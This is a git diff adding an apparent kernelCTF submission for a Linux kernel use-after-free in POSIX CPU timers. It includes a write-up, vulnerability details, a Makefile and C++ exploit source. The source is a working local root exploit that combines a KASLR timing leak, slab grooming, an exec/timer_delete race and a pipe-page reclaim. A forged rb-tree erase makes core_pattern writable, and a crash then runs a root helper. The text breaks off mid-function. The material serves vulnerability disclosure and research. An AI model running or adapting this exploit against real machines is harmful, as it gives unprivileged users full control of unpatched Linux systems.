diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-64560_lts/docs/exploit.md new file mode 100755 index 000000000..c52d264a7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/docs/exploit.md @@ -0,0 +1,249 @@ +# Exploit + +The `lts-6.12.89` exploit races deletion of a process POSIX CPU timer against +non-leader exec, reclaims the released timer slab with packetized pipe pages, +and forges the stale timerqueue node so `rb_erase_cached()` changes the +`core_pattern` sysctl permissions. Running exactly `./exploit` installs a +memfd-backed root coredump helper and prints `/flag`. + +## Exploit Summary + +- **Leaking KASLR** -> Three prefetch-timing scans select the 40-slot kernel + mapping window at 2 MiB granularity, then a majority vote yields the base. +- **Preparing timer slabs** -> 8,192 `k_itimer` objects populate 512 source + pages, with six reusable allocation holes prepared per page. +- **Triggering the UAF** -> `timer_delete()` races a target's non-leader + `execve()`; a fresh-boot warning taint bit confirms that the deleted timer + remains queued. +- **Reclaiming the slab page** -> Source and filler timers are freed after RCU, + then 512 packet-mode pipes retain sixteen controlled order-0 pages each. +- **Finding the stale slot** -> The 8,192 pages are refilled for candidate + `k_itimer` slots 0 through 15 while preserving the live queue metadata after + byte 151. +- **Building a pointer write** -> An expiry-zero fake rb node makes + `rb_erase_cached()` store one selected kernel pointer at one selected address + inside `coredump_sysctls`. +- **Executing the flag helper** -> The write makes `kernel.core_pattern` + writable, after which a deliberate crash executes fd 111 as root and prints + the flag. + +## Exploit Details + +### Leaking KASLR + +The final write targets the relocated static `coredump_sysctls` table. The +exploit therefore performs an integrated x86 prefetch timing scan before +creating vulnerable kernel state. It scans all 512 possible 2 MiB KASLR slots +and keeps the minimum of 100 measurements for each slot. The median represents +the much larger unmapped region; a 40-slot sliding window then selects the +region with the largest total absolute deviation from that median. Three full +scans must agree by majority, yielding the base without a separate leak. + +The 40-slot window comes from the `lts-6.12.89` runtime LOAD span, which ends +at `kernel_base + 0x4fff000` and therefore occupies forty 2 MiB slots. + +The target offset used after relocation is: + +```text +coredump_sysctls = kernel_base + 0x03611600 +``` + +The offset is obtained through kernelXDK `TargetDb` and +`GetSymbolOffset()`. The exploit adds it to the leaked kernel base when +building the two addresses used by the forged rb node. + +### Preparing posix_timers_cache + +The target's `struct k_itimer` is 256 bytes, giving sixteen objects per 4 KiB +`posix_timers_cache` slab page. The exploit allocates 8,192 `SIGEV_NONE` +monotonic timers. In every logical group of sixteen, it deletes slots 0, 3, 6, +9, 12, and 15. The remaining ten timers keep each source page resident while +the six holes are available for race-attempt allocations. + +Timer objects are released through `call_rcu()`. After bulk deletion the +exploit performs 256 short yield/nanosleep rounds before depending on reuse. + +Each race attempt allocates 48 filler timers, one vulnerable process CPU +timer, and 64 more filler timers. These allocations bracket the target in the +prepared source pages. + +### Winning the dangling timer race + +The exploit wins the bug only when deletion caches the former leader before +the target transfers its TGID, but tries to lock that leader after +`__exit_signal()` clears its `sighand`. The allocation layout, process +synchronization, CPU placement, and kernel warning oracle below retain the one +child whose shared process timerqueue crosses that lifetime boundary. + +### Triggering the exec()/timer_delete() race + +The creator constructs the target child's process profiling clock ID as: + +```text +clockid = ((~child_tgid) << 3) | CPUCLOCK_PROF +``` + +The vulnerable timer uses `SIGEV_SIGNAL` and blocked `SIGUSR1`, because the +embedded `cpu_timer.node` must actually be armed in the child's process-wide +timerqueue. The child has a leader and a second pthread. The non-leader waits +on a one-byte gate, then executes `/proc/self/exe --worker`, entering the +`de_thread()` identity-transfer path. + +Creator and target run on CPUs 0 and 1. Before releasing exec, the parent arms +the vulnerable timer at the child's sampled process CPU time plus 60 seconds. +This keeps the genuine node queued but prevents natural expiry during the +race. The parent evicts a 1 MiB working set, releases the exec thread, burns 15 +microseconds, arms a 15.5-microsecond timerfd event, and calls +`timer_delete()`. + +The useful interleaving is: + +```text +creator CPU 0 target CPU 1 +------------- ------------ +cpu_timer_task_rcu() -> old leader + exchange_tids() + transfer PIDTYPE_TGID + release_task(old leader) + preserve inherited process queue + old_leader->sighand = NULL +lock_task_sighand(old leader) -> NULL +WARN: cpu_timer.node is still queued +return success without disarm_timer() +call_rcu(k_itimer) + target tree still contains the node +``` + +The target leader queues up to 256 blocked real-time signals before exec. One +timerfd is duplicated into 96 epoll registrations. + +The exploit reads `/proc/sys/kernel/tainted` before the loop. On the tested +otherwise untainted fresh boots, bit 9 first changes when the +`WARN_ON_ONCE(ctmr->head || queued(node))` branch is reached. + +### Reclaiming the timer slab with packetized pipe pages + +After a confirmed race, the exploit deletes all attempt fillers and all +remaining source timers, then waits for RCU again. A completely empty timer +slab can now be returned to the page allocator. + +The reclaim uses `pipe2(O_NONBLOCK | O_DIRECT)`. Packet mode prevents adjacent +sub-page writes from merging, so each write obtains one separate order-0 page. +Each pipe holds sixteen packets. The exploit creates 512 pipes and fills every +slot, retaining: + +```text +512 pipes * 16 packet pages = 8,192 controlled pages +``` + +The stale timer may occupy any of the sixteen 256-byte positions in its old +page. For candidate slot `s`, every pipe page receives a packet of length: + +```text +s * 256 + 152 +``` + +The candidate fake timer therefore starts at byte `s*256`. The largest packet +is 3,992 bytes and remains within one page. To advance to the next candidate, +the exploit reads one old packet from every ring position and writes one new +packet, keeping the 8,192-page reclaim pressure constant. After each refill it +triggers target CPU-timer collection and tests whether `core_pattern` became +writable. + +### Building the fake timerqueue node + +The pipe payload overwrites old `k_itimer+0..+151` and stops exactly before +`cpu_timer.head` at offset 152. Preserving `head`, `pid` at 160, and `elist` at +168 is necessary because the target timerqueue and collection path still use +those fields. + +The controlled values are: + +| `k_itimer` offset | Value | Role | +| ---: | ---: | --- | +| `+0..+31` | `0` | Clear stale list and hash metadata | +| `+32` | `1` | Keep the raw `it_lock` qspinlock locked after erase | +| `+40..+119` | `0` | Neutralize timer metadata before `it.cpu` | +| `+120` | `write_target - 8` | Fake `rb_node.__rb_parent_color` | +| `+128` | `write_value` | Fake `rb_node.rb_right` | +| `+136` | `0` | NULL `rb_node.rb_left` | +| `+144` | `0` | Earliest timerqueue expiry | +| `+152` onward | Preserved | Live `head`, `pid`, `elist`, and later state | + +### Turning rb_erase() into a core_pattern permission write + +The fake rb node has no left child and one right child. On x86-64, +`rb_node.rb_right` is at offset 8. The payload uses: + +```text +parent = write_target - 8 +right = write_value +left = NULL +``` + +The one-child erase path executes `__rb_change_child()`. The fake parent does +not contain the old node in its `rb_left`, so the function selects +`parent->rb_right` and performs: + +```text +*(uint64_t *)write_target = write_value +``` + +The erase also stores the fake parent in `right->__rb_parent_color`, producing +one correlated write at `write_value`. + +The target's `struct ctl_table` is 56 bytes, with `maxlen` at offset 16 and +`poll` at offset 32. The selected addresses are: + +```text +write_target = coredump_sysctls + 56 + 16 = coredump_sysctls + 0x48 +write_value = coredump_sysctls + 32 = coredump_sysctls + 0x20 +``` + +`write_target` covers the second table entry's 32-bit `maxlen` and following +16-bit `mode`, which describe `core_pattern`. Writing a canonical kernel +pointer there gives `maxlen` a large low 32-bit value and changes `mode` to +`0xffff`. The uid-1000 process can then open +`/proc/sys/kernel/core_pattern` for writing. This proc open is also the +candidate-slot success check. + +### Installing and executing the pipe core helper + +Before exploitation, the binary copies `/proc/self/exe` to a memfd and +duplicates it to descriptor 111. After the sysctl metadata write, it installs: + +```text +|/proc/%P/fd/111 helper +``` + +The exploit then deliberately dereferences NULL. The coredump path expands +`%P` to the crashing process ID and executes the inherited memfd through +`/proc//fd/111`. The `helper` entry point runs as root, reads `/flag`, and +prints it to the console. + +### KASAN vulnerability trigger + +Running `./exploit --vuln-trigger` skips kernelXDK target setup, the KASLR +scan, slab grooming, page reclaim, and the final overwrite. It performs only +the non-leader `execve()` versus `timer_delete()` race, waits for the queued +timer object to pass through RCU, and asks the target to collect the dangling +timerqueue node so a KASAN kernel reports the use-after-free. + +## Additional Notes + +The exploit embeds `target_db.kxdb` and links kernelXDK statically. +`setup_target()` uses `GetSymbolOffset()`, `GetStructSize()`, and +`GetFieldOffset()` for `coredump_sysctls`, `k_itimer`, `cpu_timer`, +`timerqueue_node`, `rb_node`, and `ctl_table`. The target-specific entries +missing from the bundled database are added as a normal `Target` before +auto-detection. The bundled stable libxdk v0.1 release does not expose its +newer `leak_kaslr_base()` helper, so the exploit contains the same windowed +max-absolute-difference scan locally. The data-only rb-tree corruption has no +corresponding kernelXDK primitive. + +The normal command is exactly `./exploit`; no user namespace, capability, +`io_uring`, or netfilter operation is required. Testing used KASLR-enabled +`runs/remote/lts-6.12.89/bzImage` with SHA256 +`3962083a895545dd51c83d714f1fd6746bffb9e2536bf0866021eb9794685090`, +3,584 MiB of RAM, two vCPUs, and a fresh VM for every attempt. The exploit +printed a flag in 30 of 30 runs; the slowest success took 70.36 seconds. diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-64560_lts/docs/vulnerability.md new file mode 100755 index 000000000..6e401dc98 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/docs/vulnerability.md @@ -0,0 +1,13 @@ +# Vulnerability Details + +- **Requirements**: + - **Capabilities**: None + - **Kernel configuration**: `CONFIG_POSIX_TIMERS=y` + - **User namespaces required**: No +- **Introduced by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=55e8c8eb2c7b6bf30e99423ccfe7ca032f498f59 +- **Fixed by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=920f893f735e92ba3a1cd9256899a186b161928d +- **Affected Version**: `v5.7-rc1 - v6.12.89` +- **Affected Component**: posix-cpu-timers +- **Syscall to disable**: `timer_create` +- **Cause**: Use-After-Free +- **Description**: A POSIX process CPU timer is owned by the process that creates its `struct k_itimer`, while its embedded `cpu_timer.node` can be queued in a different target process's shared `signal->posix_cputimers` rbtree. During a non-leader `execve()`, `de_thread()` transfers the TGID to the execing thread and releases the old leader. The TGID-targeted timer and process-wide queue are intentionally inherited by the new leader, but a concurrent `posix_cpu_timer_del()` can retain the old leader from an earlier PID lookup. When `lock_task_sighand()` then observes the old leader's `sighand == NULL`, the vulnerable code does not retry the PID lookup to find the new leader; it returns success without `disarm_timer()`, and `timer_delete()` RCU-frees the still-enqueued 256-byte `k_itimer`. Later CPU-timer execution or timerqueue add/delete operations access its freed embedded node. The same lookup/lock race can make `posix_cpu_timer_set()` return transient `-ESRCH`, leave the stack timer used by `do_cpu_nanosleep()` queued, or make `posix_cpu_timer_rearm()` silently lose a rearm. On weakly ordered architectures, observing `sighand == NULL` without ordering can also make the queued-node warning a false positive. The fix changes the `sighand = NULL` store to `smp_store_release()`, adds `smp_acquire__after_ctrl_dep()` to the NULL path in `lock_task_sighand()`, introduces a retrying `timer_lock_sighand()` helper for delete, set, and rearm, and uses `smp_rmb()` before the queued-state check when the initial task lookup fails. diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/Makefile b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/Makefile new file mode 100755 index 000000000..e8fc8d19e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/Makefile @@ -0,0 +1,19 @@ +XDK ?= ./libxdk-v0.1 +CXXFLAGS ?= -O2 -Wall -static -pthread -I$(XDK) +LDLIBS ?= -L$(XDK) -lkernelXDK + +exploit: exploit.c target_db.kxdb $(XDK)/libkernelXDK.a + g++ $(CXXFLAGS) -x c++ $< -o $@ $(LDLIBS) + +all: exploit + +.PHONY: prerequisites +prerequisites: + +.PHONY: run +run: exploit + ./exploit + +.PHONY: clean +clean: + rm -f exploit diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/exploit b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/exploit new file mode 100755 index 000000000..6b29e24b5 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/exploit.c b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/exploit.c new file mode 100755 index 000000000..1963e1dcb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/exploit.c @@ -0,0 +1,757 @@ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef TARGET_DB_PATH +#define TARGET_DB_PATH "target_db.kxdb" +#endif +INCBIN(target_db, TARGET_DB_PATH); +asm(".text"); + +static constexpr int PARENT_CPU = 0; +static constexpr int WORKER_CPU = 1; +static constexpr int CONTROL_FD = 110; +static constexpr int SELF_FD = 111; +static constexpr int WAITERS = 96; +static constexpr int SOURCE_TIMERS = 8192; +static constexpr int PIPE_SLOTS = 16; +static constexpr int PIPE_COUNT = 512; +static constexpr int SPRAY_PAGES = PIPE_COUNT * PIPE_SLOTS; +static constexpr int SIGNAL_FLOOD = 256; +static constexpr int RACE_SECONDS = 270; +static constexpr int EXEC_DELAY_NS = 15000; +static constexpr int TIMERFD_NS = 15500; +static constexpr int TRIGGER_NS = 70000000; +static constexpr int RCU_ROUNDS = 256; +static constexpr size_t PAGE_SIZE_4K = 4096; +static constexpr size_t EVICT_SIZE = 1 << 20; +static constexpr uint64_t TIMER_EXPIRES_NS = 60ULL * 1000000000ULL; +static constexpr uint64_t LINK_BASE = 0xffffffff81000000ULL; +static constexpr uint64_t KASLR_END = LINK_BASE + 0x40000000ULL; +static constexpr uint64_t KASLR_SLOT_SIZE = 0x200000ULL; +static constexpr size_t KERNEL_PAGE_COUNT = 38; +static constexpr long TAINT_WARN = 1L << 9; + +static uint64_t kernel_base; +static uint32_t coredump_sysctls_off; +static size_t itimer_size, it_lock_off, timer_node_off, expires_off; +static size_t rb_parent_off, rb_right_off, rb_left_off; +static size_t ctl_size, ctl_maxlen_off, ctl_poll_off; +static int objects_per_page; + +static double ticks_per_ns; +static int timer_fd = -1, epoll_fd = -1, taint_fd = -1; +static struct epoll_event events[WAITERS]; +static volatile unsigned char *evict_buf; +static int source_ids[SOURCE_TIMERS], source_count; +static int attempt_ids[128], attempt_count; +static int pipe_fds[PIPE_COUNT * 2], pipe_count; +static size_t pipe_payload_size; + +static int exec_ready_fd, exec_go_fd; + +static void rcu_quiesce(void); + +static void die(const char *what) +{ + perror(what); + exit(1); +} + +static void pin_cpu(int cpu) +{ + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + sched_setaffinity(0, sizeof(set), &set); +} + +static inline __attribute__((always_inline)) uint64_t rdtsc_begin(void) +{ + uint32_t lo, hi; + + asm volatile("mfence; rdtscp; lfence" + : "=a"(lo), "=d"(hi) :: "rcx", "memory"); + return ((uint64_t)hi << 32) | lo; +} + +static inline __attribute__((always_inline)) uint64_t rdtsc_end(void) +{ + uint32_t lo, hi; + + asm volatile("lfence; rdtscp; mfence" + : "=a"(lo), "=d"(hi) :: "rcx", "memory"); + return ((uint64_t)hi << 32) | lo; +} + +static uint64_t ticks(void) +{ + return rdtsc_end(); +} + +static void calibrate_tsc(void) +{ + struct timespec delay = {0, 50000000}; + uint64_t start = ticks(); + + nanosleep(&delay, NULL); + ticks_per_ns = (ticks() - start) / 50000000.0; +} + +static void burn_ns(unsigned long ns) +{ + uint64_t end = ticks() + (uint64_t)(ticks_per_ns * ns); + + while (ticks() < end) + asm volatile("" ::: "memory"); +} + +static size_t prefetch_time(uint64_t addr) +{ + uint64_t start = rdtsc_begin(); + + asm volatile("prefetchnta (%0); prefetcht2 (%0)" :: "r"(addr)); + return (size_t)(rdtsc_end() - start); +} + +static void setup_target(void) +{ + TargetDb db("target_db.kxdb", target_db); + Target extra("kernelctf", "lts-6.12.89", "6.12.89"); + + extra.AddSymbol("coredump_sysctls", 0x3611600); + extra.AddStruct("k_itimer", 256, { + {"it_lock", 32, 4}, {"it.cpu", 120, 80}, + }); + extra.AddStruct("cpu_timer", 80, {{"node", 0, 32}}); + extra.AddStruct("timerqueue_node", 32, { + {"node", 0, 24}, {"expires", 24, 8}, + }); + extra.AddStruct("rb_node", 24, { + {"__rb_parent_color", 0, 8}, {"rb_right", 8, 8}, + {"rb_left", 16, 8}, + }); + extra.AddStruct("ctl_table", 56, { + {"maxlen", 16, 4}, {"poll", 32, 8}, + }); + db.AddTarget(extra); + + Target target = [&]() { + try { + return db.AutoDetectTarget(); + } catch (...) { + return db.GetTarget("kernelctf", "lts-6.12.89"); + } + }(); + + coredump_sysctls_off = target.GetSymbolOffset("coredump_sysctls"); + itimer_size = target.GetStructSize("k_itimer"); + it_lock_off = target.GetFieldOffset("k_itimer", "it_lock"); + timer_node_off = target.GetFieldOffset("k_itimer", "it.cpu") + + target.GetFieldOffset("cpu_timer", "node") + + target.GetFieldOffset("timerqueue_node", "node"); + expires_off = target.GetFieldOffset("timerqueue_node", "expires"); + rb_parent_off = target.GetFieldOffset("rb_node", "__rb_parent_color"); + rb_right_off = target.GetFieldOffset("rb_node", "rb_right"); + rb_left_off = target.GetFieldOffset("rb_node", "rb_left"); + ctl_size = target.GetStructSize("ctl_table"); + ctl_maxlen_off = target.GetFieldOffset("ctl_table", "maxlen"); + ctl_poll_off = target.GetFieldOffset("ctl_table", "poll"); + objects_per_page = (int)(PAGE_SIZE_4K / itimer_size); + if (objects_per_page != 16) + die("unexpected k_itimer size"); +} + +// @step(name="Leaking KASLR") +static uint64_t leak_kaslr_once(void) +{ + constexpr size_t SLOTS = (KASLR_END - LINK_BASE) / KASLR_SLOT_SIZE; + std::array timings, sorted; + + timings.fill(UINT64_MAX); + for (int sample = 0; sample < 100; sample++) { + for (size_t slot = 0; slot < SLOTS; slot++) { + uint64_t t = prefetch_time(LINK_BASE + slot * KASLR_SLOT_SIZE); + timings[slot] = std::min(timings[slot], t); + } + } + + sorted = timings; + std::nth_element(sorted.begin(), sorted.begin() + SLOTS / 2, sorted.end()); + uint64_t median = sorted[SLOTS / 2], score = 0, best = 0; + size_t best_slot = 0; + auto diff = [median](uint64_t t) { + return t > median ? t - median : median - t; + }; + + for (size_t i = 0; i < KERNEL_PAGE_COUNT; i++) + score += diff(timings[i]); + best = score; + for (size_t i = 1; i <= SLOTS - KERNEL_PAGE_COUNT; i++) { + score -= diff(timings[i - 1]); + score += diff(timings[i + KERNEL_PAGE_COUNT - 1]); + if (score > best) { + best = score; + best_slot = i; + } + } + return LINK_BASE + best_slot * KASLR_SLOT_SIZE; +} + +static bool leak_kaslr(void) +{ + uint64_t candidates[3]; + + for (uint64_t &candidate : candidates) + candidate = leak_kaslr_once(); + for (int i = 0; i < 3; i++) { + for (int j = i + 1; j < 3; j++) { + if (candidates[i] == candidates[j]) { + kernel_base = candidates[i]; + fprintf(stderr, "[+] KASLR base: 0x%llx\n", + (unsigned long long)kernel_base); + return true; + } + } + } + fputs("[-] KASLR leak failed\n", stderr); + return false; +} + +static void set_limit(int resource) +{ + struct rlimit r; + + if (!getrlimit(resource, &r)) { + r.rlim_cur = r.rlim_max; + setrlimit(resource, &r); + } +} + +static long read_taint(void) +{ + char buf[32] = {}; + ssize_t n = pread(taint_fd, buf, sizeof(buf) - 1, 0); + + return n > 0 ? strtol(buf, NULL, 10) : -1; +} + +static void setup_runtime(void) +{ + set_limit(RLIMIT_NOFILE); + set_limit(RLIMIT_SIGPENDING); + set_limit(RLIMIT_CORE); + timer_fd = timerfd_create(CLOCK_MONOTONIC, TFD_NONBLOCK); + epoll_fd = epoll_create1(0); + taint_fd = open("/proc/sys/kernel/tainted", O_RDONLY); + if (timer_fd < 0 || epoll_fd < 0 || taint_fd < 0) + die("runtime fd"); + for (int i = 0; i < WAITERS; i++) { + struct epoll_event ev = {}; + int fd = dup(timer_fd); + ev.events = EPOLLIN; + ev.data.fd = fd; + if (fd < 0 || epoll_ctl(epoll_fd, EPOLL_CTL_ADD, fd, &ev)) + die("epoll setup"); + } + evict_buf = (volatile unsigned char *)calloc(1, EVICT_SIZE); + if (!evict_buf) + die("eviction buffer"); + calibrate_tsc(); +} + +static void evict_l2(void) +{ + unsigned int sink = 0; + + for (size_t i = 0; i < EVICT_SIZE; i += 64) + sink += evict_buf[i]; + asm volatile("" : "+r"(sink)); +} + +static void timerfd_noise(bool arm) +{ + struct itimerspec it = {}; + uint64_t value; + + if (!arm) { + ssize_t ignored = read(timer_fd, &value, sizeof(value)); + (void)ignored; + epoll_wait(epoll_fd, events, WAITERS, 0); + return; + } + it.it_value.tv_nsec = TIMERFD_NS; + timerfd_settime(timer_fd, 0, &it, NULL); +} + +static clockid_t process_clock(pid_t pid) +{ + return (clockid_t)((~(unsigned int)pid) << 3); +} + +static int timer_create_none(void) +{ + struct sigevent ev = {}; + int id = -1; + + ev.sigev_notify = SIGEV_NONE; + return syscall(__NR_timer_create, CLOCK_MONOTONIC, &ev, &id) ? -1 : id; +} + +static int timer_create_signal(clockid_t clock) +{ + struct sigevent ev = {}; + int id = -1; + + ev.sigev_notify = SIGEV_SIGNAL; + ev.sigev_signo = SIGUSR1; + return syscall(__NR_timer_create, clock, &ev, &id) ? -1 : id; +} + +static void delete_ids(int *ids, int count) +{ + for (int i = 0; i < count; i++) { + if (ids[i] >= 0) { + syscall(__NR_timer_delete, ids[i]); + ids[i] = -1; + } + } +} + +static bool alloc_attempt(int count) +{ + while (attempt_count < count) { + int id = timer_create_none(); + if (id < 0) + return false; + attempt_ids[attempt_count++] = id; + } + return true; +} + +// @step(name="Preparing posix_timers_cache") +static void prepare_timer_slabs(void) +{ + for (; source_count < SOURCE_TIMERS; source_count++) { + source_ids[source_count] = timer_create_none(); + if (source_ids[source_count] < 0) + die("timer source spray"); + } + for (int base = 0; base < source_count; base += objects_per_page) { + for (int slot = 0; slot < objects_per_page; slot += 3) { + int i = base + slot; + if (i < source_count) { + syscall(__NR_timer_delete, source_ids[i]); + source_ids[i] = -1; + } + } + } + rcu_quiesce(); +} + +static bool write_byte(int fd, char value) +{ + return write(fd, &value, 1) == 1; +} + +static bool read_byte(int fd, char *value) +{ + return read(fd, value, 1) == 1; +} + +static void kill_worker(pid_t pid) +{ + kill(pid, SIGKILL); + while (waitpid(pid, NULL, 0) < 0 && errno == EINTR) + ; +} + +static int post_exec_worker(void) +{ + struct sigaction sa = {}; + struct itimerval it = {}; + char command; + + pin_cpu(WORKER_CPU); + calibrate_tsc(); + sa.sa_handler = SIG_IGN; + sigaction(SIGPROF, &sa, NULL); + it.it_value.tv_usec = 100; + while (read_byte(CONTROL_FD, &command)) { + if (command == 'B') { + setitimer(ITIMER_PROF, &it, NULL); + burn_ns(TRIGGER_NS); + } + } + for (;;) + pause(); +} + +static void *exec_thread(void *) +{ + char command; + + if (!read_byte(exec_go_fd, &command)) + _exit(1); + close(exec_ready_fd); + close(exec_go_fd); + execl("/proc/self/exe", "exploit", "--worker", NULL); + _exit(1); +} + +static void worker_process(int ready_fd, int go_fd) +{ + sigset_t blocked; + pthread_t thread; + + exec_ready_fd = ready_fd; + exec_go_fd = go_fd; + pin_cpu(WORKER_CPU); + sigemptyset(&blocked); + sigaddset(&blocked, SIGRTMIN); + sigprocmask(SIG_BLOCK, &blocked, NULL); + for (int i = 0; i < SIGNAL_FLOOD; i++) { + siginfo_t info = {}; + info.si_signo = SIGRTMIN; + info.si_code = SI_QUEUE; + if (syscall(SYS_rt_tgsigqueueinfo, getpid(), syscall(SYS_gettid), + SIGRTMIN, &info)) + break; + } + if (pthread_create(&thread, NULL, exec_thread, NULL)) + _exit(1); + if (!write_byte(ready_fd, 'R')) + _exit(1); + for (;;) + pause(); +} + +static pid_t start_worker(int *go_fd, int *control_fd) +{ + int ready[2], go[2], control[2]; + char value; + + if (pipe(ready) || pipe(go) || socketpair(AF_UNIX, SOCK_STREAM, 0, control)) + return -1; + pid_t pid = fork(); + if (!pid) { + close(ready[0]); + close(go[1]); + close(control[0]); + if (dup2(control[1], CONTROL_FD) < 0) + _exit(1); + close(control[1]); + worker_process(ready[1], go[0]); + _exit(1); + } + close(ready[1]); + close(go[0]); + close(control[1]); + if (pid < 0 || !read_byte(ready[0], &value) || value != 'R') { + if (pid > 0) + kill_worker(pid); + return -1; + } + close(ready[0]); + *go_fd = go[1]; + *control_fd = control[0]; + return pid; +} + +static void arm_cpu_timer(int id, uint64_t expires) +{ + struct itimerspec it = {}; + + it.it_value.tv_sec = expires / 1000000000ULL; + it.it_value.tv_nsec = expires % 1000000000ULL; + if (syscall(__NR_timer_settime, id, TIMER_ABSTIME, &it, NULL)) + die("timer_settime"); +} + +// @step(name="Triggering the exec()/timer_delete() race") +static bool vuln_trigger(pid_t *dangling_process, int *control_fd, + bool sweep_delay = false) +{ + long initial_taint = read_taint(); + time_t deadline = time(NULL) + RACE_SECONDS; + long attempt = 0; + + while (time(NULL) < deadline) { + int go_fd = -1, ctl_fd = -1; + pid_t child = start_worker(&go_fd, &ctl_fd); + clockid_t clock; + struct timespec now; + int timer; + + attempt++; + if (child < 0) + continue; + clock = process_clock(child); + timerfd_noise(false); + attempt_count = 0; + if (!alloc_attempt(3 * objects_per_page)) + goto retry; + timer = timer_create_signal(clock); + if (timer < 0 || !alloc_attempt(4 * objects_per_page)) + goto retry; + if (clock_gettime(clock, &now)) + goto retry; + arm_cpu_timer(timer, (uint64_t)now.tv_sec * 1000000000ULL + + now.tv_nsec + TIMER_EXPIRES_NS); + evict_l2(); + if (!write_byte(go_fd, 'G')) + goto retry; + close(go_fd); + go_fd = -1; + burn_ns(sweep_delay ? (attempt & 1023) * 500 : EXEC_DELAY_NS); + timerfd_noise(true); + syscall(__NR_timer_delete, timer); + if (!(initial_taint & TAINT_WARN) && (read_taint() & TAINT_WARN)) { + fprintf(stderr, "[+] dangling timer after %ld attempts\n", attempt); + *dangling_process = child; + *control_fd = ctl_fd; + return true; + } + +retry: + if (go_fd >= 0) + close(go_fd); + close(ctl_fd); + delete_ids(attempt_ids, attempt_count); + kill_worker(child); + } + return false; +} + +static void rcu_quiesce(void) +{ + struct timespec delay = {0, 100000}; + + // @sleep(kernel_func="call_rcu", desc="wait for k_itimer RCU frees") + for (int i = 0; i < RCU_ROUNDS; i++) { + sched_yield(); + nanosleep(&delay, NULL); + } +} + +static void prepare_pipes(void) +{ + for (; pipe_count < PIPE_COUNT; pipe_count++) { + int fds[2]; + if (pipe2(fds, O_NONBLOCK | O_DIRECT)) + die("pipe spray"); + pipe_fds[pipe_count * 2] = fds[0]; + pipe_fds[pipe_count * 2 + 1] = fds[1]; + } +} + +static void put32(unsigned char *buf, size_t off, uint32_t value) +{ + memcpy(buf + off, &value, sizeof(value)); +} + +static void put64(unsigned char *buf, size_t off, uint64_t value) +{ + memcpy(buf + off, &value, sizeof(value)); +} + +static size_t fake_timer(unsigned char *buf, int slot, + uint64_t write_target, uint64_t write_value) +{ + size_t delta = (size_t)slot * itimer_size; + size_t length = delta + timer_node_off + expires_off + 8; + size_t node = delta + timer_node_off; + + memset(buf, 0xff, length); + memset(buf + delta, 0, timer_node_off); + put32(buf, delta + it_lock_off, 1); + put64(buf, node + rb_parent_off, write_target - rb_right_off); + put64(buf, node + rb_right_off, write_value); + put64(buf, node + rb_left_off, 0); + put64(buf, node + expires_off, 0); + return length; +} + +// @step(name="Reclaiming the timer slab with packetized pipe pages") +static bool spray_pipe_pages(int slot, uint64_t target, uint64_t value) +{ + unsigned char payload[PAGE_SIZE_4K], old[PAGE_SIZE_4K]; + size_t length = fake_timer(payload, slot, target, value); + int held = 0; + + for (int i = 0; i < pipe_count; i++) { + for (int j = 0; j < PIPE_SLOTS; j++) { + if (pipe_payload_size && + read(pipe_fds[i * 2], old, sizeof(old)) != + (ssize_t)pipe_payload_size) + continue; + if (write(pipe_fds[i * 2 + 1], payload, length) == + (ssize_t)length) + held++; + } + } + pipe_payload_size = length; + return held == SPRAY_PAGES; +} + +static bool write_core_pattern(void) +{ + static const char pattern[] = "|/proc/%P/fd/111 helper"; + int fd = open("/proc/sys/kernel/core_pattern", O_WRONLY); + + if (fd < 0) + return false; + bool ok = write(fd, pattern, sizeof(pattern) - 1) == + (ssize_t)sizeof(pattern) - 1; + close(fd); + return ok; +} + +// @step(name="Turning rb_erase() into a core_pattern permission write") +static bool overwrite_core_pattern(pid_t child, int control_fd) +{ + uint64_t table = kernel_base + coredump_sysctls_off; + uint64_t target = table + ctl_size + ctl_maxlen_off; + uint64_t value = table + ctl_poll_off; + + prepare_pipes(); + delete_ids(attempt_ids, attempt_count); + delete_ids(source_ids, source_count); + rcu_quiesce(); + for (int slot = 0; slot < objects_per_page; slot++) { + if (slot) + rcu_quiesce(); + if (!spray_pipe_pages(slot, target, value)) + return false; + if (!write_byte(control_fd, 'B')) + return false; + // @sleep(kernel_func="collect_timerqueue", desc="poll for rb_erase write") + for (int ms = 0; ms < 1000; ms += 10) { + if (write_core_pattern()) { + fprintf(stderr, "[+] core_pattern writable at slot %d\n", slot); + return true; + } + usleep(10000); + } + } + kill_worker(child); + return false; +} + +static void copy_self(void) +{ + unsigned char buf[4096]; + int in = open("/proc/self/exe", O_RDONLY); + int out = syscall(SYS_memfd_create, "x", 0); + ssize_t n; + + if (in < 0 || out < 0) + die("memfd"); + while ((n = read(in, buf, sizeof(buf))) > 0) { + for (ssize_t done = 0; done < n;) { + ssize_t written = write(out, buf + done, (size_t)(n - done)); + if (written <= 0) + die("copy self"); + done += written; + } + } + close(in); + if (dup2(out, SELF_FD) < 0) + die("dup self"); + close(out); +} + +static int root_helper(void) +{ + char flag[256]; + int flagfd = open("/flag", O_RDONLY); + ssize_t n = flagfd < 0 ? -1 : read(flagfd, flag, 